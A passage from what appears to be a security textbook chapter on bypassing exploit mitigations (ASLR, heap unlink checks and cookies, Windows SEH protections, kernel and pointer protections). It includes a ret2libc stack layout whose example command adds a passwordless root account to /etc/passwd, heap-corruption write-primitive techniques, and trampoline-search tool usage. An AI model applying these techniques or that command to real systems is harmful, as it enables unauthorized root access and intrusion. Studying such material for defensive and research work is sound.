As a trivial example, suppose you wanted to call `system("echo gera::0:0::/:/bin/sh >>/etc/passwd")`. If you knew `system()`'s address is `0x00123456`, and you knew your buffer's address is `0xbfbf1234`, you could overwrite the stack with the following data:

↑ Lower addresses

`XXXX`	4 bytes	These bytes end up at address `0xbfbf1234`
`YYYY`	4 bytes	This will become where system() returns
`"echo gera::0:0::...`	39 bytes	
";#"	2 bytes	Comment out the rest of the "command"
...		Pad up to frame pointer
34 12 bf bf	4 bytes	New frame pointer
59 34 12 00	4 bytes	system()'s address +3, after "mov ebp, esp"

↓ Higher addresses

Using this trick, if you can make the frame pointer point to your buffer, you could control the complete stack frame of the returned-to function, including its arguments, return address, and frame pointer on exit. It's not a simple procedure, but it's an interesting and quite generic way to perform a ret2libc, or even ret2strcpy/ret2gets attack on systems protected with AAAS.

Furthermore, in most implementations of AAAS (if not all), the main executable binary itself is not moved to the ASCII Armored Address Space, and the executable generally provides a good quantity of code to reuse, including all function epilogues and program's PLT, which raises the possibilities of finding the necessary pieces for a ret2text attack, including chained ret2code, ret2plt, or ret2dl-resolver, as was discussed in a previous section.

A straightforward idea to improve AAAS to also protect against ret2text attacks would be to move the binary to the AAAS, but this won't protect against `gets()`-caused overflows or the tricks just described, so you should move on to a better and more recent protection: ASLR.

ASLR: Address Space Layout Randomization

The principle behind *Address Space Layout Randomization* (ASLR) is simple: If the address of everything, including libraries, the executable application, the stack, and the heap are randomized, an attacker would not know where to jump to successfully execute arbitrary code, or where to point pointers to, in a data-only attack.

When pipacs first implemented ASLR in PaX for Linux in 2001, he documented it very clearly: unless every address is randomized and unpredictable, there's always going to be room for some kind of attack. You can read the PaX documents at `http://pax.grsecurity.net/docs/`; they describe every implemented feature in great detail and make a good analysis of the possible attack venues.

If an attacker can inject foreign code directly in executable memory and there's space for a significant number of `nops`, an approximate address may be enough to achieve reliable code execution. Otherwise, if ret2code has to be used, either because W^X is in place or because a trampoline is mandatory due to code's address variability, the exploit has to jump to the exact address. In either case, if the randomization introduces a good amount of entropy in the address space, the options for a code execution exploit have to be carefully studied:

- **Is there anything left fixed in a predictable address?**

  In most cases, yes! And this is the weakest spot in most ASLR implementations.

  In order to map the code section to a random location it must be compiled as a relocatable object. Dynamically loaded libraries are normally relocatable, but applications' main binaries are usually compiled to run in a fixed known memory address (for example, on Linux it's `0x8048000` for most binaries), which leaves all of that code out of ASLR.

  Performance issues are the main drawback of compiling something as relocatable, not only because the file must be specially processed every time it's loaded, but also due to the available compilation optimizations. As Theo de Raadt kindly explained, GCC needs a register allocated almost all the time to handle relocatable objects, and on platforms like Intel x86 where registers are a scarce resource this imposes a heavy performance penalty in the application.

  PaX original documentation and subsequent mailing list discussions (`http://marc.info?m=102381113701725`) clearly state that for complete protection all binaries must be recompiled, but only a few distributions have done this.

When there's code left in a predictable location, some kind of ret2code could be used. In the cases just discussed, ret2text, ret2strcpy, ret2gets, and the more general ret2plt and ret2dl-resolve all come to mind. The main problem of these techniques is that, quite likely, they'll require a pointer as argument to the chosen function, and if most addresses are randomized, it won't be easy to find what to use:

- Use ret2gets when possible. It takes a single argument, and it only needs to be any address in a W+X section (though it may be complicated to find if a good implementation of W^X is in place).
- Use `mmap`-ret2gets-code to create a W+X section in a known location, read code into it, and jump.
- Try to make the application supply the addresses for you. It may be possible to find suitable addresses already stored in registers or pushed deeper in the stack. If the right sequence of code can be found out of ASLR, it may be possible to leverage these addresses and circumvent ASLR. Sometimes even partial addresses may be enough. For example, it may be enough to overwrite the lowest two bytes of a return address or function pointer to get proper code execution.

On some systems, especially modern Linux distributions, there's a page containing glue code for programs to use when calling system calls and coming back from signals. You can see it listed as `[vdso]` on `/proc/<pid>/maps`. This page contains code that has proved to be useful on some exploits, and some systems still map it always at a fixed location, which converts it into a very interesting target for *ret2syscall* or more generally *ret2code* attacks. More information about this so-called `linux-gate.so` artifact can be found in `http://www.trilithium.com/johan/2005/08/linux-gate/`. Bear in mind that depending on the distribution, `[vdso]` may be mapped non-executable.

- **How easy is it to guess the randomly generated addresses?**

  A simple measure of the randomness for addresses is to look at how many bits need to be guessed. Although this is a very simple analysis and more complex statistical tools can be used, it will give a straightforward answer to the question. For example, if the success of the exploit only depends on 8 bits (like for Windows' heap cookie), it could be considered unreliable for a targeted attack against a single box. However, a worm will exponentially outgrow the speed reduction imposed by the need to hit the right value, and a targeted attack against an organization with a good number of systems or users will also have high success possibilities.

  Other factors to consider are how often the addresses change, if the vulnerability allows multiple tries or not, and if all memory sections maintain their distance from each other, moving all together by a fixed displacement. If the attacker has to overwrite multiple pointers, this can be made easier if they only need to guess one address.

Each implementation has different footprints. You'll see the specific details in the last section of the chapter.

- **Is there any smart way to find these addresses?**

  This is probably the more interesting approach, as it doesn't depend on problems in the implementation. If the application somehow allows the attacker to learn anything about its memory layout, the search space can be reduced, sometimes bit by bit, until only a small range is left, and it can just be swept.

  On local privilege escalation exploits, a precious memory map may be available, for example through "`/proc/<pid>/maps`" on Linux systems. If it's not, brute-forcing may always be an option. For example, on a 2-GHz dual core running Linux, it takes little more than a minute and a half to execute a program 16 bit times (2^{16} times). The required time increases very close to linearly with the size of the search space, so you can say that sweeping 24 bits will take approximately 7.2 hours, or roughly the same time a sysadmin is peacefully sleeping at home.

  On remote exploits, the same ideas have to be explored.

  The cookbook examples for remote memory mapping are format string bugs where the attacker can see the rendered output. By carefully probing the memory, it's possible to map, or even download, the complete memory of the target application. However, if—from try to try—the memory space is re-randomized, the task will not be trivial (if possible at all).

  Several Remote Procedure Call interfaces leak internal memory addresses as "handles" that are passed to the client.

  On multithreaded applications, which are very common in Windows, the address space can't be re-randomized per thread, which makes it easier to gather better information, but at the same time it's very common that if a thread crashes, the whole application dies, killing the possibility of further exploit attempts.

  On Unix systems, when a process `fork()`s, its memory layout is replicated to the new process, and if one process dies, the other survives. Abusing this, an attacker can gain a lot of information, even in cases where the application does not produce any apparent output.

  If the vulnerability can be exercised several times, and it can be remotely distinguished whether or not the application crashed, it's sometimes possible to find a way to remotely tell if a given address is readable, writable, or unmapped on the target process. With time and, especially, brains, this may be all that's needed to do remote memory mapping.

Realizing that `fork()` doesn't re-randomize the memory layout, the OpenBSD team started changing the more critical applications to re-execute themselves, instead of just `fork()`ing, to force the re-randomization on every new process.

ASLR, when properly implemented and integrated with the applications, is a very strong protection against code execution exploits; however, most operating systems fail to offer a complete solution, leaving the window open for attacks to sneak in. When writing an exploit, it's always interesting to look for what is fixed in memory and identify what pieces of code can be reused from a known location. Attack techniques like ret2plt will recover their vitality and come to help us in the hard task of writing exploits.

Heap Protections

The exploitability of a buffer overflow exclusively depends on what's stored in memory after the buffer. For every buffer overflow there might be different possibilities, depending on the application, but, in the general case, there are a few things you can expect to find, depending where the buffer is located.

When the buffer is located in the stack, you can usually aim for the return address. If it's located in the heap, the most common and general exploitation technique is to corrupt the heap management structures used by libraries.

The heap management functions need a way to track what memory chunks are in use and which ones are available. Although an infinite number of data structures are suitable, the most commonly chosen involves some kind of doubly linked list to remember the unused blocks for later reuse. On Windows, Linux, Solaris, AIX, and others, there are well-known exploitation techniques that leverage the corruption of these linked lists to perform what's known as an arbitrary 4-byte [mirrored] write primitive. The 4-byte write is achieved when a corrupted node is removed from the linked list. Take a look at this situation again in some more detail.

Suppose the vulnerable application has been using the heap, and at the time of the overflow, it has three free blocks, `A`, `B` and `C`, stored in this order in the doubly linked list. Each of these nodes must have a reference to the next and previous nodes to maintain the structure, sometimes called `backward` and `forward` links.

```
…->next = A
A->next = B
B->next = C
C->next = …
```

```
…->prev = C
C->prev = B
B->prev = A
A->prev = ...
```

The ellipsis may refer either to the head of the list or to some other free blocks.

There are two different cases where a node must be removed from the list of free blocks:

- When the user requests a block through `malloc()`, `RtlAllocateHeap()`, `new`, and so on.
- Or to minimize fragmentation, when the user frees a block adjacent in memory to an unused block.

This latter case is known as coalescing or consolidation, and to do it, first the originally unused block must be removed from the list, then the two blocks must be coalesced into a bigger one, and finally the new block must be inserted back into the list. The operation of removing a node from a linked list is commonly known as `unlink()` and can be sketched as the following code:

```
unlink(node):
   node->prev->next = node->next
   node->next->prev = node->prev
```

When operating on `B`, and if the node structure for `B` is not corrupted, it looks like this:

```
unlink(B):
   B->prev->next = B->next         // A->next = C
   B->next->prev = B->prev         // C->prev = A
```

The common heap-exploitation-on-`unlink()` technique consists in corrupting `B->prev` and `B->next` with user controlled data, effectively writing their content into each other's memory address:

```
unlink(corrupted_B):
   B->corrupted_prev->next = B->corrupted_next
   B->corrupted_next->prev = B->corrupted_prev
```

And now, for the protections.

In a well-formed doubly linked list, it's trivial to note that for any given node in the list (for example `B`) the next invariant holds:

```
   B->prev->next == B
   B->next->prev == B
```

That is, the next of the previous must be the node itself, and vice versa. If this invariant doesn't hold, it means that the linked list was modified from outside the heap management functions, and a heap corruption bug is assumed. In Linux this leads to immediate abort of the application; however, in Windows, at least in up to Windows XP SP2, although the node is not removed from the list, the application happily continues.

The idea of a *safe* `unlink()` that verifies the integrity of the linked list was first publicly proposed by Stefan Esser on Dec 2, 2003 (`http://marc.info?m=107038246826168`) in response to an email proposing the use of cookies (or canaries) to protect heap structures. We'll come back to this later on this section.

Apparently, the PHP team originally rejected Stefan's ideas more than a year before, and they were incorporated in mainstream glibc roughly a year after Stefan's email. Similar safe `unlink()` checks were later included in Service Pack 2 for Windows XP, SP1 for Windows 2003, and maintained in Windows Vista among a myriad of other new protections that we'll quickly review further on this section.

Two main questions must be answered to know if there's still scope for heap attacks:

- **Are there any heap operations not protected by safe-`unlink()`?**

  The short answer is yes, there are.

  In Linux there are quite a few in fact, as masterfully explained by Phantasmal Phantasmagoria in what he called "The Malloc Maleficarum" (`http://marc.info?m=112906797705156`). His exploitation techniques are not simple to understand or to perform. Here you'll get just a glimpse into the technique he named "House of Mind." Reading the full article is highly recommended.

  When a node needs to be removed from a linked list, the `unlink()` macro is used, and this macro is where the safe `unlink()` check is added. However, when a new node is inserted on the list, there are no checks, and as explained in "The Malloc Maleficarum," sometimes an attacker can carefully corrupt the heap structures so that a node can be inserted in a fake linked list controlled by the attacker, effectively overwriting 4 bytes with a pointer to a buffer the attacker controls.

  The following is `malloc()`'s code for inserting the node controlled by the attacker (`p`) in the linked list. If the necessary conditions are satisfied, the attacker can control the return value from `unsorted_chunks(av)`: and force `p` to be written to a location of his choice.

  ```
  bck = unsorted_chunks(av);
  fwd = bck->fd;
  ```

```
p->bk = bck;
p->fd = fwd;
bck->fd = p;   // p is written to a user chosen location
fwd->bk = p;
```

There are some other places in the code where the linked list is manually tweaked; however, it's not clear which of those places can open the door to an exploit. The article also explains other tricks, which, depending on the specifics of the vulnerable program, could be used to get either a 4-byte write primitive or an *n*-byte write primitive.

Although it was written at the time of glibc-2.3.5, a careful inspection of the differences introduced up to glibc-2.5 didn't show any significant changes that would affect the validity of the techniques the article describes.

Initial tests showed that it's also possible to gain some advantage by exploiting the fact that node insertion is not protected on Windows. However, there are other better-known techniques that work regardless of the safe `unlink()` checks. Most of them were presented at the conference SyScan 2004 by Matt Conover in his presentation about Windows XP SP2 heap exploitation (`http://www.cybertech.net/~sh0ksh0k/projects/winheap/`).

The first method, coined *unsafe unlinking*, consists of overwriting the back and forward pointers in the header with values that will make the check pass but at the same time produce desirable results when the node is removed from the list. This technique is clearly explained in Conover's presentation and finally leads to an *n*-byte write primitive through overwriting the heap structure itself. It does require, however, several steps and some guesswork to accomplish, including the base address of the heap structure. On Windows Vista, as heap addresses are randomized, this attack will not be successful (at least without some extra work).

Another method introduced by Conover is *chunk-on-lookaside overwrite*, which consists of corrupting the lookaside lists, a secondary structure also used to maintain a list of free blocks. These lists are singly linked lists and do not contain any security checks. It's a very generic and reliable technique and also leads to an *n*-byte write primitive when properly used.

Starting with Service Pack 2 of Windows XP a new algorithm called the *low fragmentation heap* was introduced. Although it was not used by default and hardly any application chose it at that time, things changed with Windows Vista, where low fragmentation heaps completely replaced lookaside lists, rendering the last attack inapplicable.

The caveats of all the techniques for exploiting heap management algorithms and structures are that for a successful reliable attack, the heap must be in a controlled state, and that after the corruption, sometimes some specific operations must be performed in order to obtain the memory write primitive and finally achieve code execution. As an example, the required conditions for chunk-on-lookaside overwrite are:

- A minimum of one free block in the lookaside list for a given size `n`. (Conover's presentation says two blocks are needed, but one is enough.)
- Overwrite the initial bytes of this free block with the chosen address and set its flags to busy to keep it from being coalesced.
- After the corruption, the second call to `RtlAllocateHeap(n)` will return the chosen address.
- If you can control what the application writes to this second buffer, you've got an *n*-byte write primitive.

During the development of a heap corruption exploit, it's very important to understand when and why the application calls `malloc()` and `free()` and to invest time in looking for ways to allocate and deallocate new blocks of memory of arbitrary size and content.

- **Are there any problems in the protection itself?**

  As mentioned earlier, in Windows XP SP2 when a problem is detected, the application is not aborted immediately, and the heap is left in an unknown state. This is not a very wise decision in terms of security, and tests have clearly demonstrated that overwriting the forward and backward links for a node in a freelist, although it doesn't lead to a 4-byte write primitive, does have very interesting and predictable results, opening the door to other types of attacks.

Cookies are another option to protect the heap from buffer overflows. The idea was first made public by Yinrong Huang on April 11, 2003 (`http://marc.info?m=105013144919806`), but it was never adopted by any mainstream operating system until 2004 when Microsoft picked it up and included it in Service Pack 2 for Windows XP and Service Pack 1 for Windows 2003.

In the original Windows implementation, the cookie is an 8-bit random value, located in the middle of the header of heap blocks. It's checked when a buffer is freed, but as Matt Conover pointed out in December 2004, if the cookie is not correct, `RtlFreeHeap()` happily ignores it and exits without doing anything. This gives the attacker another chance to try with a different cookie until he finally hits the right one and can finally continue with the attack. In short, the cookie in Windows is no protection at all for attacks where multiple tries are a possibility.

Furthermore, because the cookie is in the middle of the header, it does not protect the `size` and previous `size` fields, also opening the door for attacks. As an example, we've verified in our tests that if the `size` field is made bigger than what it is for a chunk in the freelist for large chunks (`Freelist[0]`), it may be returned to the user as if it was really larger, leading to a memory corruption.

Starting with Windows Vista, the situation has changed a lot: eight random bytes are generated when every heap is created. These bytes are xored to the first bytes of a block's header, and integrity is verified by xoring the three first bytes and comparing the result to the fourth, as shown in the following code extracted from `RtlpCoalesceFreeBlocks()`:

```
mov     eax, [ebx+50h]      ; ebx -> Heap.  +50 = _HEAP.Encoding
xor     [esi], eax          ; esi -> BlockHeader (HEAP_ENTRY)
mov     al, [esi+1]         ; HEAP_ENTRY.Size+1
xor     al, [esi]           ; HEAP_ENTRY.Size
xor     al, [esi+2]         ; HEAP_ENTRY.SmallTagIndex
cmp     [esi+3], al         ; HEAP_ENTRY.SubSegmentCode (Vista)
jnz     no_corruption_detected_here
```

This very same code pattern is repeated several times, and there are other integrity checks. This is in addition to the fact that Vista implements some degree of ASLR for heap allocations.

Although some very specific attack venues may surface to bypass Windows Vista's heap protections, it's very unlikely that future heap-based buffer overflow vulnerabilities will be exploited by abusing the heap management structures and algorithms in a general way. Future attacks will more likely corrupt internal data of the application itself, be it some kind of function pointers or just "pure data."

Another heap implementation using cookies in chunks' headers is Cisco's, as explained in Chapter 13. However, because the cookies are fixed values without any `NUL` characters, it doesn't look like they were put there for a security reason, but rather to detect if the heap was accidentally corrupted, and in that case, waste some memory instead of crashing the system.

Glib also has some additional checks, like verifying that the size of the chunk is not too big, that the next adjacent chunk somehow makes sense, and that the flags are correct, but this protection can be easily bypassed if `NUL` bytes are not a problem.

The OpenBSD team took a radically different approach, inarguably more effective with regard to security. To start with, they've always used an implementation called phkmalloc, the same as FreeBSD. Phkmalloc doesn't use linked lists to maintain the list of free chunks (only the list of free pages), and more importantly, doesn't intermix control information with user data as a rule. In the large amount of literature on heap exploitation, only a single article was published on phkmalloc exploitation: "BSD Heap Smashing" by BBP on May 14, 2003 (`http://thc.org/root/docs/exploit_writing/BSD-heap-smashing.txt`). However, not even a thousand articles would make any difference for OpenBSD today.

Starting with version 3.8 of OpenBSD (`http://marc.info?m=112475373731469`), its `malloc()` implementation is a little bit more than just a wrapper to the `mmap()` system call. The great advantage is that because OpenBSD honors ASLR, `mmap()`'s return values are randomized, and furthermore, it's specifically forbidden that two blocks, as returned by `mmap()`, will sit one after the other in memory, making it impossible to corrupt anything by overflowing past the limits of a memory page.

It is true that if for every single call to `malloc()` the size was rounded up to a page boundary (4k bytes for Intel x86 for example), there would be a lot of wasted bytes; hence, the algorithm is a little bit more complex than a simple call to `mmap()`:

- Only blocks of the same size may come from the same memory page.
- A page is used until there's no space for a full block. When not enough space is left, that space is wasted. A block can only cross a page boundary if it's bigger than a page, and in this case, it would not be adjacent to any other block.
- When a block is free, it may be reused, but the order in which blocks are reused is somewhat random. When all the blocks on a page are free, the page may be given back to the OS (and hence, never reused again), though we couldn't empirically verify this in our labs.

The possibilities of corrupting heap management structures in OpenBSD depend on the existence of a bug in the heap management code or algorithms themselves, and not on overflowing a dynamic buffer due to an application bug. Putting this aside, the only chances for exploitation are in finding sensitive application data in a buffer reachable by the overflow. However, taking into account that buffers of the same size are rarely adjacent and buffers of different sizes are always apart, you can say that although technically possible, the odds of finding an exploitable case are very low.

In the more general case, with Linux and Windows evolution, you also have to admit that heap exploitation through heap management structure corruption is increasingly difficult and unreliable, so you are better off looking into something else:

- **Are there any heap attacks not involving heap management structures and algorithms at all?**

  Sure there are, and they'll become more and more common with the rise of heap management protections.

As stated already, the exploitability of a buffer overflow solely depends on what's stored after the vulnerable buffer. If, as an example, the application stores a function pointer that's used at some point after the buffer is overflowed, it would be trivial to take control of the execution flow by simply writing over this function pointer.

Although the function pointer example is one of the most desirable cases, it's not so far from one of the more common situations on C++ applications. On most C++ implementations, when an object instance is created, for example in the heap using `new`, the first thing stored in the allocated space, before the object's fields, is the class pointer, which is simply a pointer to its *virtual methods table*, or `vtable` for short. This `vtable` is an array of the addresses for all the virtual methods (that is, functions) in the class definition, and although it doesn't need to be in writable memory, it's always used through the class pointer, which is inevitably stored in the object's space itself, in writable memory.

If by chance or careful heap massaging, the object is located after the vulnerable buffer, the `vtable` can be pointed to a list of method pointers chosen by the attacker. Later, when any virtual method is used, the attacker will have the chance of executing arbitrary code.

C++ objects' class pointers are just an example, although quite a general one. Of course, any other sensitive information located in dynamic storage is susceptible to this type of attack.

When trying to exploit a buffer overflow on dynamic storage through application data corruption, it is of the utmost importance to control the heap layout. There's usually no other way to do it than learning a lot more about the vulnerable application, and even then, only a few options may be available. The art of the exploit writer consists in obtaining the maximum benefit possible from scarce and tricky resources.

A few tools are available to keep track of how the heap evolves. Ltrace for Linux and truss for Solaris and AIX can be used to see, in text, the calls to `malloc()` and others. For Windows we recommend PaiMei (`http://pedram.openrce.org/PaiMei`) as a very general tool. Other tools use graphs and drawings to better express the evolution of the heap: Heap Vis, a plug-in for OllyDbg by Pedram Amini (`http://pedram.redhive.com/code/ollydbg_plugins/olly_heap_vis/`); heap_trace.py, a PaiMai script, also by Pedram (`http://pedram.redhive.com/PaiMei/heap_trace/`); and HeapDraw, by a group at CoreLabs (`http://oss.corest.com`). The first two are exclusively for Windows; the latter can be used for Windows, Linux, Solaris, and others.

Heap protections will continue to improve, but while memory blocks can be overflowed into adjacent memory blocks, there's always the chance of corrupting applications data to trigger unexpected features of a vulnerable application. A good example of what can be done with heap massaging can be seen in an article by Alexander Sotirov at `http://www.determina.com/security.research/presentations/bh-eu07/index.html`. Although the technique described there relies on fixed addresses and the use of lookaside lists, it wouldn't be surprising to find similar tricks abusing the low 8-bit randomization of heap addresses in Vista.

Windows SEH Protections

From an attacker's perspective, the Structured Exception Handling (SEH) mechanism in Windows is a means to hook the execution flow after a stack-based buffer overflow. Microsoft realized this at the time of Windows 2000 Service Pack 4, when they slowly started to add more and more protections to the mechanism, until they reached what you have today on 32-bit Windows Vista (the 64-bit version is completely different).

The user-mode code implementing all the mechanisms starts in the function `KiUserExceptionDispatcher()` in `ntdll.dll`. In case of doubt, or if you want to understand what changes in a new version of Windows, this is the function you need to understand. The following summarizes the protections on the current versions:

- Registers are zeroed before calling the handler. This protects against simple trampolines.
- The `EXCEPTION_REGISTRATION_RECORD` must be placed inside the stack limits and ordered in memory. This protects against some exploitation techniques that placed a fake `EXCEPTION_REGISTRATION_RECORD` in the heap.
- The exception handler can't be located in the stack. Its address is compared to the stack's limits stored in `fs:[4]` and `fs:[8]`. If you want to jump to code in the stack, you can do it only indirectly through some code in another section, unless hardware W^X is in place. This enhancement protects against placing code in the stack and directly jumping to it.
- PE binaries (`.EXE`, `.DLL`, and so on) compiled in Visual Studio with `/SafeSEH` have a list of permitted exception handlers. All the rest of the code in the PE image can't be used as exception handlers. This is to protect against second-generation trampolines like `pop-pop-ret`, and it's included since Windows XP SP 2 and Windows 2003 SP1.

- The following rules apply to other sections in a process's memory, either belonging to a PE that was not compiled with `/SafeSEH` or not belonging to any PE at all:
  - If the underlying microprocessor supports NX pages, the handler can be located only on memory marked as executable. As explained in the sidebar "Windows W^X Is Opt in by Default" in the section "W^X (Either Writable or Executable) Memory" earlier in the chapter, not every application has this feature enabled.
  - When the hardware doesn't support NX, the code in `RtlIsValidHandler()` in `ntdll.dll` uses `NtQueryVirtualMemory()` to find out whether or not the page is marked executable; this is what we call software W^X.
  - You would expect that if the page is marked non-executable the exception dispatching code would not allow the execution in any case, but the game's not lost until the end.
  - Before crying out that the exception handler is invalid, `RtlIsValidHandler()` consults some global per-process flags using `ZwQueryInformationProcess()`. Until XP SP2, only a single flag (`ExecuteDispatchEnable`) was checked; since Vista two flags (`ExecuteDispatchEnable | ImageDispatchEnable`) must be enabled to allow execution of pages mapped as executable.
  - This mechanism is the same for hardware-supported W^X and is explained in the sidebar "Windows W^X Is Opt in by Default" in the section "W^X (Either Writable or Executable) Memory" earlier in the chapter.
- As it was presented in Chapter 8, some standard exception handlers (notably Visual C++'s `__except_handler3`) could be abused to gain code execution in Windows XP SP2 and Windows 2003 SP1. According to an article by Ben Nagy from eEye (`http://www.eeye.com/html/resources/newsletters/vice/VI20060830.html`), the version of these functions included in newer Visual Studios are stronger in the case of stack corruption, and so far, there have been no new advances in bypassing these modifications.

Taking all of the existing SEH protections into consideration, you can see that in the case where you can control the pointer to the exception handling function, it will not be easy to find a suitable spot from the *exception-handler-approved* zone. The conditions for such an address were just listed, but actually finding a good candidate is not easy.

Of course, if you can place your code directly in a well-known memory location in the allowed space, you can just directly set it as exception handler. But in the most common case, the exception handler is corruptible after a stack-based buffer overflow, your code will unhappily rest in the stack, and you will need a small trampoline (or *jumpcode*) in the exception-handler-approved zone to indirectly reach your code or otherwise will need to inject the code in other memory areas by any other means.

The sequence `pop-pop-ret` is an option, but there are quite a few more. Although you could manually look through the image memory, that's an insane task, and you should probably use a computer to do the search for you. After all, that's what computers are for in the first place.

Three different tools come to rescue you: `EEREAP` by a group at eEye (`http://research.eeye.com/html/tools/RT20060801-2.html`), `Pdest` by Nicolas Economou from Core Security, and SEHInspector by panoramix, also from Core. Both can be found at `http://oss.corest.com`.

The first two tools are based on the same idea: starting with a memory snapshot of the moment when the exception is raised, they try instruction by instruction, finding those that will work as trampoline to your code. As a very simple example, if you knew that register `EAX` is pointing to your code, a simple `JMP EAX` would do, but also `CALL EAX`, `PUSH EAX-RET`, `MOV EBX`, `EAX-JMP EBX`, and an infinite number of combinations, including those that are full of `nop`-like code.

EEREAP

`EEREAP` works from a memory dump, emulating the microprocessor, not executing instructions. Together with the memory dump you need to also feed it with a context file, where you define the values of the registers, the memory layout, and what the target for the search would be. (For more information, take a look at the presentation and readme file included in the package.) The following presents a simple `EEREAP` script to find all suitable addresses to use as an exception handler trampoline to jump to the code, like a `pop-pop-ret` or any other:

```
stack:800h,RW
ESP = stack+400h
EBP = stack+420h
code:10h,RO,TARGET
[stack+408h] = code
[stack+414h] = code
[stack+41ch] = code
[stack+42ch] = code
[stack+444h] = code
[stack+450h] = code
```

This is not a perfect script, because it may find addresses that when used will overwrite the code with garbage, but in most cases it works just fine.

NOTE The current version of `EEREAP` doesn't know anything about SEH protections, so it may happily find addresses that may look perfectly good, but sadly fall outside the exception-handler-approved zone.

pdest

`pdest` works by freezing the attacked process and tracing through the code, executing each instruction from a given address, until it reaches the specified target or until a given number of instructions was executed. Then it starts again on the next address.

As an example, you can use it to find suitable trampolines to use after seizing the exception handler:

```
C:\> pdest vuln.exe 7c839aa8 [esp+8]
Target = 0022ffe0 - 0022ffe0
Addresses to try: 7991296
004016c8
00401b47
00401b74
00401bb7
00401cab
00401eae
9.4% complete
```

Its first argument is the process number to attach to or the application name to look for and then attach to. The second is the address where `pdest` should trigger and start working, which you'll hear about in a second. The third specifies where you really want to jump: it could be an address or range, a register, a register and displacement, and so on. In this case you are using `[esp+8]` as you know that a pointer to the code will be present there at the time when you can seize the execution flow. This indirection will be converted into a number and then used, so it will also find instances using `[esp+14]`, and so on.

The second argument is the address that should be replaced by what `pdest` finds. For exception handlers, a good idea is to use the original exception handler. So the full process to find a suitable exception handler trampoline with `pdest` would be:

1. Run the vulnerable application.
2. Attach to it with a debugger and let it continue.
3. Generate the exception (with the unfinished exploit, for example).

4. When the debugger stops, check what the current exception handler is.
5. Quit the debugger and restart the application.
6. Run `pdest` using the address found in step 4.
7. Generate the exception like in step 3.
8. `pdest` should start working.

We've found quite interesting and reliable trampolines using `pdest`. Both `pdest` and `EEREAP` are good friends of the exploit writer.

SEHInspector

SEHInspector can be used for two different purposes. On one side it will tell you if the PE will be loaded at a randomized address in Windows Vista; on the other side it will tell you if it was compiled with `/SafeSEH`, and in that case, it will list all the valid registered exception handlers.

You can run it either on a `DLL` or an `EXE`. When you run it in a `DLL` it will call `LoadLibrary()` and then work with the image in memory. When it's used on an `EXE`, it will start the application suspended, like a debugger, and then work with the image in memory, listing also the characteristics of all the `DLL`s loaded by the process. The only command-line argument is the PE file to inspect (`DLL` or `EXE`), and the output is very descriptive. For more information refer to the included documentation.

Other Protections

There are a huge number of protection mechanisms. So far we covered the most common protections for preventing foreign code execution. In this section you'll find a quick introduction to some other mechanisms of this kind. We are not covering other protections that restrict the capabilities of the attacker, such as all types of sandboxing, role-based access control (RBAC), and mandatory access control (MAC).

Kernel Protections

This chapter has not talked specifically about kernel protections yet; however, when it comes to preventing the exploitation of kernel bugs, all the user-mode protections discussed so far will not make any difference. History has shown that kernel vulnerabilities are real and quite exploitable, locally and sometimes remotely. The kernel, currently being the component of an operating system where the fewest general protection mechanisms are implemented, has become a more common target for exploit writers. Very few projects have acknowledged the problem and started to actually do something about it.

OpenBSD started compiling its kernels with ProPolice activated since version 3.4 in 2003. The Linux kernel is ready to be compiled with ProPolice on some platforms, since version 2.6.18 at least. Very few distributions are already including it.

OpenBSD has partial W^X support on the kernel side for some platforms. And Windows XP, starting with Service Pack 2, has nx-stack for 32-bit processors, and a more complete W^X implementation on 64-bit processors. For more info on the latter see `http://www.microsoft.com/technet/prodtechnol/winxppro/maintain/sp2mempr.mspx`.

And then there's PaX, and its future version.

The existing version of PaX, at least until mid 2007, has three different kernel protections: KERNEXEC, UDEREF, and RANDKSTACK:

- KERNEXEC implements kernel-side W^X, ensuring that only the code section of the kernel is executable and that it's not writable. At the same time it makes the code section and the `rodata` section really read-only (as it name suggests).
- UDEREF ensures that direct pointers from user land can't be accessed when copying data from or to kernel and that kernel pointers can't be used when copying data from or to user land. As a side effect, although the `NULL` pointer may be an accessible address for user land, it would not be a valid address for the kernel and will generate an exception if accessed in the wrong context.
- RANDKSTACK ensures the kernel stack is randomized on entry to every system call.

To conclude on kernel protections, we recommend reading a very interesting article by pipacs about the present and future of PaX, including kernel protections, the problems it may solve, and a good analysis of PaX's existing weak points. It can be found among the PaX documents at `http://pax.grsecurity.net/docs/pax-future.txt`.

Pointer Protections

Probably the first public release of anything implementing pointer protections was vendicator's StackShield version 0.6, released on September 1, 1999 (`http://marc.info?m=94149147721722`). This protection specifically targeted any indirect function call by adding runtime checks, which validated that the target address was below the data area, which at that time pretty much meant the `.text` section of an application.

Some years later, on August 13, 2003, Crispin Cowan presented PointGuard (`http://marc.info?m=106087892723780`), another function pointer protection, which also instruments all indirect function calls (and also `longjump`s). In the case of PointGuard the pointer is stored in memory always encoded with an xored global random value and decoded when it is moved to a register before branching. Although a few independent patches for GCC exist, no function pointer protection is currently included in standard GCC distribution, and until that happens, it's very unlikely to see these protections included in most big Linux distributions.

On Service Pack 2 for Windows XP and Service Pack 1 for Windows 2003, Microsoft introduced two functions to encode and decode pointers (`EncodePointer()` and `DecodePointer()`) that work in a very similar fashion to PointGuard. This pointer encoding is maintained in Windows Vista.

More than a single implementation exists in Windows (`RtlEncodePointer()` and `RtlEncodeSystemPointer()`). The former retrieves the random key using `RtlQueryInformationProcess(-1, 0x22, ...)`, but the latter stores it in a global section shared across all processes. Although this shared section is read-only, this global key could be read from any other local process and used in some local attack, if needed.

Implementation Differences

The ever-increasing number of different operating systems, distributions, and versions makes it almost impossible to keep track of what protection is implemented where. This section tries to provide a concise review of the most common implementations, trying to spot their differences and weaknesses.

Windows

Since the introduction of Service Pack 2 for Windows XP and Service Pack 1 for Windows 2003, Microsoft has been adding different protection mechanisms to the operating system. In the following list you can find a summary of what is present in the different versions of Windows up to the first release of Windows Vista. (Of course, as of this writing, the full reach of the modifications introduced in Windows Vista has yet to be discovered.)

W^X

- Starting with XP SP2, Windows has native support for the NX feature of AMD and Intel processors.
- In a default 32-bit Windows installation only a few applications have the feature enabled, the rest can run code anywhere in memory.
- On hardware where there's no NX support (or if the support is not enabled), there are still some software checks embedded in the structured exception handling mechanism. These software mechanisms are only enabled by default in a few Microsoft components.

- To know if an application has the protections enabled you can manually test it inside a debugger or use Process Explorer (`http://www.microsoft.com/technet/sysinternals/utilities/ProcessExplorer.mspx`). For more information on enabling and disabling the protection see `http://support.microsoft.com/kb/875352`.
